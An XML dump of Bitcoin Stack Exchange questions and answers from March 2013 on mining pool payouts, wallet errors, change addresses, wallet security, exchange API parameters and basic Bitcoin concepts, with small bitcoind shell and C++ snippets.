  <row Id="8254" PostTypeId="2" ParentId="5908" CreationDate="2013-03-09T18:49:49.600" Score="1" Body="&lt;p&gt;There are the &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;bitcoin-tools by Gavin Andresen&lt;/a&gt; but they will only work up to version 0.7 of Bitcoin-QT. If your goal is to simply check whether the blocks are version 1 or 2 I suggest you do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MAX_HEIGHT=`bitcoind getinfo | grep blocks | grep -oE '[0-9]+'`&#xA;MIN_HEIGHT=210000&#xA;for HEIGHT in `seq $MAX_HEIGHT -1 $MIN_HEIGHT`; do&#xA;  HASH=`bitcoind getblockhash $HEIGHT`&#xA;  VERSION=`bitcoind getblock $HASH | grep version | grep -oE '[0-9]+'`&#xA;  echo $HEIGHT,$HASH,$VERSION&#xA;done &amp;gt;&amp;gt; block-versions.csv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get you a Comma-Separated file with the block's height,its hash and version.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-09T18:49:49.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8255" PostTypeId="2" ParentId="8252" CreationDate="2013-03-09T19:03:58.277" Score="5" Body="&lt;p&gt;Yes, the most notable one being &lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt;. It illustrates that it is possible to associate transactions and addresses with forum users' identities, as well as connecting them to some organizations (including WikiLeaks, MyBitcoin, Slush's Pool etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tracking users by their IP is a bit harder, although during the work on my &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot; rel=&quot;noreferrer&quot;&gt;master thesis&lt;/a&gt; I was able to find an IP address associated with a Bitcoin Address and trace it correctly to the Bitcoin Faucet.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-09T19:03:58.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8256" PostTypeId="2" ParentId="8243" CreationDate="2013-03-09T19:17:19.013" Score="2" Body="&lt;p&gt;Mining, by construction, is a stochastic process. A &lt;a href=&quot;http://en.wikipedia.org/wiki/Poisson_process&quot; rel=&quot;nofollow&quot;&gt;Poisson Process&lt;/a&gt; to be precise. This means that even at a constant difficulty the time between a miner finding a block and the next is randomly distributed. As difficulty rose, this meant that you could go months without finding a block and then have a single afternoon where you found 2 in a row. This variance in the time between finding blocks is intrinsic to how mining works and is independent from any change in the difficulty. It's this variance PPS reduces, it is therefore independent from the difficulty changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining pools basically gather the computational power of multiple users, and should a single user be lucky, everybody gets their share. The way this share is distributed however is different between the two models you cite. The PPS model has the pool operator take on a certain risk, because he pays you for every share you submit. This means that you as a miner get payouts frequently even if the pools as a whole did not find a block. The other model waits for a block to be found and then distribute the reward among the users that participated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, if you are mining and are not directly reliant on a regular stream of bitcoins coming in, DGM is the way to go. If you are living on a knifes edge, reliant on a regular flow of bitcoins to keep you going PPS might be for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a personal opinion: if you are serious about mining, go for non-PPS as you don't have to pay for the risk of the operator.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-09T19:17:19.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8257" PostTypeId="2" ParentId="8243" CreationDate="2013-03-09T19:30:42.557" Score="1" Body="&lt;p&gt;Changes in the difficulty are irrelevant to the choice between DGM and PPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with DGM you'd want to mine in either a large pool or a combination of pools to minimize your variance.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-03-09T19:30:42.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8260" PostTypeId="1" CreationDate="2013-03-09T21:31:13.947" Score="-5" ViewCount="1432" Body="&lt;p&gt;Bitcoin for dummies:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this like time banking/ time exchanges?&lt;/li&gt;&#xA;&lt;li&gt;Is this like barter?&lt;/li&gt;&#xA;&lt;li&gt;How do I get-earn-buy-create a bitcoin from nothing?&lt;/li&gt;&#xA;&lt;li&gt;Do I have to buy a bitcoin?&lt;/li&gt;&#xA;&lt;li&gt;If so, with what do I buy one?&lt;/li&gt;&#xA;&lt;li&gt;If this is anonymous, how do I track the coins I have?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3241" LastEditorUserId="1405" LastEditDate="2014-06-25T08:45:15.663" LastActivityDate="2014-06-30T17:50:55.237" Title="Please break it down: Bitcoin for dummies" Tags="|currencies|buy-bitcoins|" AnswerCount="2" CommentCount="1" ClosedDate="2014-01-05T23:45:44.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="8262" PostTypeId="1" CreationDate="2013-03-09T21:50:19.007" Score="4" ViewCount="3120" Body="&lt;p&gt;I have ~5 BTC on an old laptop (Windows 7) and I tried moving the balance to another client. At first I tried moving about 0.1 BTC just to see what would happen. The client debitted the balance but it never &quot;took&quot; (that is, I never received the 0.1 BTC, and I know it is a good address). The client informed me I should update immediately so I updated to the latest version (v 0.8.0). The client would not load the wallet so I googled around and found a solution that said try to move all the files out of this directory EXCEPT for wallet.dat:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c:\Users[Me]\AppData\Roaming\Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a copy of this folder elsewhere and emptied all the files except for wallet.dat, and I am now downloading the blockchain. However, intermittently I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System error: CDB(): can't open database file wallet.dat, error -30974&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is thrown by this part of bitcoin's code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ret = pdb-&amp;gt;open(NULL,      // Txn pointer&#xA;                        fMockDb ? NULL : pszFile,   // Filename&#xA;                        fMockDb ? pszFile : &quot;main&quot;, // Logical db name&#xA;                        DB_BTREE,  // Database type&#xA;                        nFlags,    // Flags&#xA;                        0);&#xA;// snip 7 lines&#xA;throw runtime_error(strprintf(&quot;CDB() : can't open database file %s, error %d&quot;, pszFile, ret));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which causes the client to close. Right now I am simply re-opening bitcoin, where it will run for awhile (download a maybe a few hundred blocks or so) and then close again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the current issues are:&lt;br&gt;&#xA;1. The 0.1 BTC I mentioned above is still showing as being debited from the total inside the local bitcoin client though there is no receipt at the receiving address, and this is confirmed by blockchain.info&lt;br&gt;&#xA; 2. I cannot create a new address to send coins&lt;br&gt;&#xA; 3. The client will not load the blockchain without indicating the error above and closing&lt;/p&gt;&#xA;" OwnerUserId="3243" LastEditorUserId="2306" LastEditDate="2013-03-10T00:18:28.680" LastActivityDate="2013-03-11T10:12:53.080" Title="technical question: receiving wallet.dat error" Tags="|bitcoin-core|wallet.dat|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8263" PostTypeId="2" ParentId="8260" CreationDate="2013-03-09T21:51:14.847" Score="3" Body="&lt;p&gt;Maybe read a basic article like the one on ZDNet, &lt;em&gt;&lt;a href=&quot;http://www.zdnet.com/blog/btl/bitcoin-a-guide-to-the-future-of-currency/50601&quot; rel=&quot;nofollow&quot;&gt;Bitcoin: A guide to the future of currency&lt;/a&gt;&lt;/em&gt;, to get a basic overview. They have a video on that page, too. This site is more focused on specific questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Bitcoins are units of currency that use encryption algorithms to ensure their authenticity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It's kind of like bartering... The same way a dollar is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3,4,5) You can purchase bitcoins from an exchange, or you can get someone to pay you in bitcoins (by selling a product or service). You can also &quot;mine&quot; bitcoins... which is a whole other question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Bitcoins are anonymous in that there is no central tracking.&lt;/p&gt;&#xA;" OwnerUserId="3244" LastEditorUserId="5406" LastEditDate="2014-06-30T17:50:55.237" LastActivityDate="2014-06-30T17:50:55.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8264" PostTypeId="2" ParentId="8260" CreationDate="2013-03-09T22:04:17.627" Score="3" Body="&lt;p&gt;The best is to come to &lt;a href=&quot;https://webchat.freenode.net/?channels=bitcoin&amp;amp;uio=d4&quot; rel=&quot;nofollow&quot;&gt;IRC chat&lt;/a&gt; where lots of people are ready to answer all your questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most active Bitcoin chat room is #bitcoin on &lt;a href=&quot;https://en.wikipedia.org/wiki/Freenode&quot; rel=&quot;nofollow&quot;&gt;freenode&lt;/a&gt; network. Follow the link or use the &lt;a href=&quot;https://en.wikipedia.org/wiki/MIRC&quot; rel=&quot;nofollow&quot;&gt;mIRC&lt;/a&gt; software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also read the article &lt;em&gt;&lt;a href=&quot;http://www.pcadvisor.co.uk/features/internet/3434167/what-is-bitcoin-future-digital-currency-explained/&quot; rel=&quot;nofollow&quot;&gt;What is Bitcoin? The future digital currency explained&lt;/a&gt;&lt;/em&gt; and the follow-up comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~~~&#xA;Just search for: &quot;Bitcoin explained with slices of pizza&quot;&#xA;for this article,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is like an open book to all in digital format, with the registration of all balances of each bitcoin address, actually, with the record of all transactions between bitcoin addresses in chronological order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that help keep this book's transactions and balances, and they are called &quot;miners&quot; - in analogy to the exploration of gold - and actually nothing is created, crafted or minted, but you may happen to get a few slices of a huge &quot;digital pizza&quot; with a limit of twenty-one million slices, as a reward for verifying transactions and keep the book open to all and reliable on a distributed computer network - that is, without a central point of failure.&#xA;These rewards - or pizza slices - are called Bitcoin coins but note that they actually exist only as balances associated with a Bitcoin address and corresponding private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is kept private is these private keys of each Bitcoin address and this information is stored in a special file called a wallet (wallet.dat) that protects this information, making it invisible and hermetic as much as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The work of the mining computers is to make transactions become irreversible, using trial and error until they find a place in the chain of blocks which make them irreversible. The difficulty level of this trial and error to find a place in the so-called blockchain is the scheme that makes transactions irreversible and avoids double-spending from bitcoins from these addresses in the chain of transactions, and it is adjusted every two weeks, so that a new block is inserted every ten minutes - no matter the amount of computational power of the network -, with corresponding reward of pizza slices, not coins, to &quot;miners&quot; that actually created the last block to be added - usually collaborating in pools with other miners in order to have more chances of not missing the reward. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They receive the pizza slices, not coins to the Bitcoin address they designate for that purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This reward is called coinbase and is what makes the value of bitcoin coins for circulation. Yes, they are coins, not slices of pizza. But if you want to think about it with slices of pizza, you can happily say that actually there are no coins: simply the &quot;miners&quot; receive slices of pizza in their designated Bitcoin addresses, thus allowing transactions between bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The numbers used by the mysterious Big Daddy of bitcoin, &lt;a href=&quot;https://en.wikipedia.org/wiki/Satoshi_Nakamoto&quot; rel=&quot;nofollow&quot;&gt;Satoshi Nakamoto&lt;/a&gt;, are somewhat arbitrary and empiric, but they work well and seem to have been inspired by gold mining anologies, as well as to provide a reasonable monetary mass, that could become comparable to the U.S. dollar by 2030.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key and Bitcoin address form a pair and are like a key and a locker, or as a password and your bank account. But their mathematical properties are very particular, because it is possible to calculate in some fractions of a second bitcoin address, in a pair, from its private key. But the reverse would take countless millions, if not billions of years as it would have to be done by trial and error, even if quantum computers were used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to think that with a lot of luck you could find a private key and generate a pair so that the corresponding Bitcoin address had balance worth stealing, but the probability of this happening is certainly much less than three lightnings falling upon the same person and him remaining alive, though that may have already happened in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To decrease the risk you must have many Bitcoin addresses in your wallet. Having the bitcoins well distributed in our(s) wallet(s) ensures it will be much less likely there will be a chance of seeing all your bitcoins disappear magically. &#xA;If you encrypt your wallet and have the bitcoins distributed in many addresses, you must be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The limit of 21 million bitcoins results from the accumulation of 50 bitcoins reward each ten minutes during the first four years (50 x 6 x 24 x 365 x 4 = 10,512,000), plus, half, 25 bitcoins reward each ten minutes during the following four years (5,256,000 + 10,512,000= 15,768,000), plus, half, 12.5 bitcoins reward each ten minutes during the following four years (2,628,000 + 5,256,000 + 10,512,000 = 18,396,000)... and so on and so forth, till the reward of the fours years before is so that it doesn't add nothing to the total of &quot;almost&quot; 21 million, more precisely: 20999999.97690000 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that imposes this limitation,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//In main.cpp&#xA;&#xA;int64 static GetBlockValue(int nHeight, int64 nFees)&#xA;{&#xA;    int64 nSubsidy = 50 * COIN;&#xA;&#xA;    // Subsidy is cut in half every 210000 blocks, which will occur approximately every four years.&#xA;    nSubsidy &amp;gt;&amp;gt;= (nHeight / 210000);&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are some links that may be helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://coinlab.com/pdfs/a-bitcoin-primer.pdf&quot; rel=&quot;nofollow&quot;&gt;A Bitcoin Primer&lt;/a&gt;&lt;/em&gt; by Chris Koss and Mike Koss&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://blog.oleganza.com/post/32725987418/bitcoin-non-technical-faq&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Non-Technical FAQ&lt;/a&gt;&lt;/em&gt; by Oleg Andreev&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3242" LastEditorUserId="1405" LastEditDate="2014-06-22T15:01:33.487" LastActivityDate="2014-06-22T15:01:33.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8266" PostTypeId="1" AcceptedAnswerId="8267" CreationDate="2013-03-09T22:48:40.743" Score="1" ViewCount="476" Body="&lt;p&gt;If I wanted to destroy bitcoins, and prove that it was done (with relative certainty), what would I need to do?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="15412" LastEditDate="2014-06-17T13:02:35.990" LastActivityDate="2014-06-17T13:02:35.990" Title="How can I prove that I destroyed some bit coins?" Tags="|proof-of-destruction|destroy-bitcoins|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-11T13:04:46.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="8267" PostTypeId="2" ParentId="8266" CreationDate="2013-03-09T22:58:11.457" Score="1" Body="&lt;p&gt;If you just want to make it clear that you no longer own them you can just send yourself 1 santoshi and put the rest up as a fee. If you want to destroy them there are a couple decent address to send them to in &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3777/2630&quot;&gt;What is the Bitcoin equivalent of /dev/null?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: there are better answers here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1851/how-to-generate-a-valid-bitcoin-address-for-destroying-bitcoins&quot;&gt;How to generate a valid bitcoin address for destroying bitcoins?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-03-09T22:58:11.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8268" PostTypeId="2" ParentId="408" CreationDate="2013-03-10T00:42:30.763" Score="-3" Body="&lt;p&gt;Bitcoin is a scam that will draw in millions of unsuspecting consumers who fear the hyperinflation..  those that already had 5 cent bit coins are the millionaires and anyone who converts their dollars or yen or euros at this point is going to get screwed if they think this is a wealth preservation tool...&lt;/p&gt;&#xA;" OwnerUserId="3246" LastActivityDate="2013-03-10T00:42:30.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8269" PostTypeId="1" CreationDate="2013-03-10T03:29:53.107" Score="1" ViewCount="573" Body="&lt;p&gt;I just sent a &lt;a href=&quot;http://blockexplorer.com/tx/a6f64058f99b677df9e382c71aa3f04f9205bdafa073f50a2a0533f8cf2aebd9&quot; rel=&quot;nofollow&quot;&gt;test account 5 BTC&lt;/a&gt;. I see in the output 1.38BTC was &quot;change&quot; and needs to be sent back to my wallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find the contents of &lt;code&gt;1F39Qj4E3HnbnyYgan5CZa37spGfHro8eK&lt;/code&gt;, and was expecting to find it there, but I typed &lt;code&gt;listreceivedbyaddress 0 true&lt;/code&gt; and don't see it  &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-10T08:01:04.643" Title="How do I view the &quot;change&quot; addresses in my wallet? listreceivedbyaddress 0 true doesn't work" Tags="|transactions|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8270" PostTypeId="2" ParentId="8269" CreationDate="2013-03-10T08:01:04.643" Score="1" Body="&lt;p&gt;The standard client always sends your Bitcoins back to a new address. If you want to figure out which address it went to, you can use &lt;code&gt;gettransaction&lt;/code&gt; to view your transaction details (you got the ID when you issued the transaction), and check its outputs. The output that is not one of the addresses that you sent money to is your change address.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-10T08:01:04.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8271" PostTypeId="1" CreationDate="2013-03-10T10:50:30.373" Score="1" ViewCount="296" Body="&lt;p&gt;Due to recent reports of theft activities by hackers, is cyber security is an on-going concern for Bitcoin and are active measures being taken to improve security? &lt;/p&gt;&#xA;" OwnerUserId="3253" LastActivityDate="2013-03-10T11:30:09.880" Title="Security of Bitcoind" Tags="|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8273" PostTypeId="2" ParentId="8271" CreationDate="2013-03-10T11:30:09.880" Score="3" Body="&lt;p&gt;You should always be aware of scam/hacks/thefts. Millions of dollars is stolen from 'regular' netbanks every year, so this is not really a &quot;bitcoin-only&quot; problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is based on crypto, so use this to protect your wallet. You can secure bitcoins way better than any other currency, but if your storing large amount of bitcoins in a unencryptet 'hot' wallet on a unsecure server, then your begging some hackers to steal your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a lot of tips about securing your wallet here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But heres also some simple tips:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Encrypt your wallet (the build-in encryption is (almost) unbreakable as long as you choose a strong passphrases)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Never store all your bitcoins in a '&lt;a href=&quot;https://en.bitcoin.it/wiki/Hot_wallet&quot; rel=&quot;nofollow&quot;&gt;hot wallet&lt;/a&gt;' (unless your going to spend them all at once)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure to take backups, and store them securely offline! (bitcoin-qt has a build-in &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;key pool&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And make sure to keep your computer clean for malware&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-10T11:30:09.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8274" PostTypeId="1" AcceptedAnswerId="8276" CreationDate="2013-03-10T13:22:44.147" Score="8" ViewCount="2342" Body="&lt;p&gt;Using the BTC-E API 'm getting an error of &lt;code&gt;You incorrectly entered one of fields.&lt;/code&gt; when I post this as the data in a buy order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{'pair': 'btc_usd', 'amount': 0.1, 'rate': 44.7084704, 'type': 'buy', 'method': 'Trade'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="3210" LastEditorUserId="3210" LastEditDate="2013-03-10T14:15:53.347" LastActivityDate="2013-12-25T21:10:37.187" Title="Parameters for buy order on BTC-E" Tags="|api|bots|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8276" PostTypeId="2" ParentId="8274" CreationDate="2013-03-10T14:15:29.383" Score="6" Body="&lt;p&gt;Problem solved. The error is caused by too many decimal places in the &lt;code&gt;rate&lt;/code&gt; parameter. It would be good if the API returned a more informative error message though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an API call to find the correct maximum number of places, as well as the minimum order for each currency pair. &lt;code&gt;https://btc-e.com/api/3/info&lt;/code&gt; returns a list of currencies and information. The &lt;a href=&quot;https://btc-e.com/api/3/documentation#info&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; is in Russian but translates easily with Google Translate.&lt;/p&gt;&#xA;" OwnerUserId="3210" LastEditorUserId="3210" LastEditDate="2013-12-25T21:10:37.187" LastActivityDate="2013-12-25T21:10:37.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8285" PostTypeId="1" AcceptedAnswerId="8435" CreationDate="2013-03-10T20:45:42.393" Score="12" ViewCount="2105" Body="&lt;p&gt;The &lt;a href=&quot;http://en.bitcoin.it/wiki/Economic_majority&quot;&gt;Economic Majority&lt;/a&gt; theory says that the power to control the Bitcoin protocol is held by those who [own] bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the article then goes on to read:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The ability for a protocol change to be successfully implemented&#xA;  ultimately rests with those who accept bitcoins in exchange for value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So that refers to investors and those who accept bitcoins for income or revenue but then aren't immediately spending or cashing out the coins they received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that power doesn't lie with those who already hold the coins but instead it lies with those who are willing to accept the newly issued coins under the revised protocol or coins with taint from coins issued under a revised protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is the Economic Majority those that already hold bitcoins or is it instead just those who will hold the bitcoins generated following a change to the protocol?  If so, how would that be best worded?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-17T03:16:49.763" LastActivityDate="2020-12-16T07:44:34.030" Title="Is Bitcoin's Economic Majority those who already own coins or those who will buy or keep coins?" Tags="|protocol|economic-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8286" PostTypeId="2" ParentId="4717" CreationDate="2013-03-10T21:02:30.983" Score="2" Body="&lt;p&gt;GUIminer &quot;just worked&quot; on my late-2012 MBP-R.   &lt;a href=&quot;https://github.com/downloads/pletoss/poclbm/guiminer-poclbm-macosx.dmg&quot; rel=&quot;nofollow&quot;&gt;https://github.com/downloads/pletoss/poclbm/guiminer-poclbm-macosx.dmg&lt;/a&gt;  ...Just drag it to a writeable folder somewhere.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colin's comment is correct, of course-- the low-voltage/power-stingy GPU, though awesome for a laptop, is not a match for the desktop screamers serious miners use to heat their homes.  On the other hand, if you have an MBP you might as well put it to work.  (I'm clocking about 35Mh/s ...could maybe do better but I haven't yet been futzing with parameters.)&lt;/p&gt;&#xA;" OwnerUserId="3268" LastEditorUserId="3268" LastEditDate="2013-03-10T21:44:58.860" LastActivityDate="2013-03-10T21:44:58.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8287" PostTypeId="2" ParentId="4416" CreationDate="2013-03-10T21:25:43.950" Score="0" Body="&lt;p&gt;A site generating your PRIVATE key for you and matching bitcoin addresses? A disaster waiting to happen. There is almost no way to be sure the information is not stored and then, in a few years, used for withdrawal (theft).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the code offline is a better idea, but DO check the code first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my 2 Satoshis...&lt;/p&gt;&#xA;" OwnerUserId="3269" LastActivityDate="2013-03-10T21:25:43.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8288" PostTypeId="2" ParentId="8137" CreationDate="2013-03-10T21:37:04.883" Score="0" Body="&lt;p&gt;What you ask is impossible. The scriptPubKey determines the conditions under which the bitcoins can be accessed. For a different set of conditions (e.g. first (key1,key2), then (key1,key3)...) you need a different scriptPubKey. And a different scriptPubKey means a different address on which you receive the bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="3270" LastActivityDate="2013-03-10T21:37:04.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8290" PostTypeId="1" CreationDate="2013-03-11T04:42:36.863" Score="3" ViewCount="139" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1786.msg22119#msg22119&quot; rel=&quot;nofollow&quot;&gt;In this post, MoonShadow says&lt;/a&gt; it's easy to detect system wide segmentation. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yet a system wide segmentation is fairly easy to detect, the current client just doesn't do it.  If code implementing my 'watchdog' idea were included, the client could be set to suspend automatic trading on websites or warn the user of a fault on interactive clients.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How would that be accomplished technically speaking?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2013-03-12T18:41:15.470" LastActivityDate="2013-03-12T19:57:41.030" Title="How is it possible to detect system wide segmentation?" Tags="|network|doublespend|blockchain-fork|march-2013-fork|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8293" PostTypeId="2" ParentId="5406" CreationDate="2013-03-11T05:05:36.510" Score="0" Body="&lt;p&gt;Here is one way to encourage higher transaction fees, and a better UX.  Suppose that miners will only include 10 zero fee transactions in a block.  The rest are FIFO.  Then &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I broadcast a transaction, sending X coins to some address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It doesn't get included in blocks for a while because I don't include a fee. (or a low fee)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The user gets tired of waiting and they use a future feature to resubmit the tx, replace the pending one, and get their block mined quickly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This feature &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2181.msg28729#msg28729&quot; rel=&quot;nofollow&quot;&gt;is discussed here&lt;/a&gt; by &lt;strong&gt;Satoshi&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not locktime.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There's a possible design for far in the future:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You intentionally write a double-spend.  You write it with the same&#xA;  inputs and outputs, but this time with a fee.  When your double-spend&#xA;  gets into a block, the first spend becomes invalid.  The payee does&#xA;  not really notice, because at the moment the new transaction becomes&#xA;  valid, the old one becomes invalid, and the new transaction simply&#xA;  takes its place.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It's easier said than implemented.  There would be a fair amount of&#xA;  work to make a client that correctly writes the double-spend, manages&#xA;  the two versions in the wallet until one is chosen, handles all the&#xA;  corner cases.  Every assumption in the existing code is that you're&#xA;  not trying to write double-spends.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There would need to be some changes on the Bitcoin Miner side also, to&#xA;  make the possibility to accept a double-spend into the transaction&#xA;  pool, but only strictly if the inputs and outputs match and the&#xA;  transaction fee is higher.  Currently, double-spends are never&#xA;  accepted into the transaction pool, so every node bears witness to&#xA;  which transaction it saw first by working to put it into a block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-11T05:05:36.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
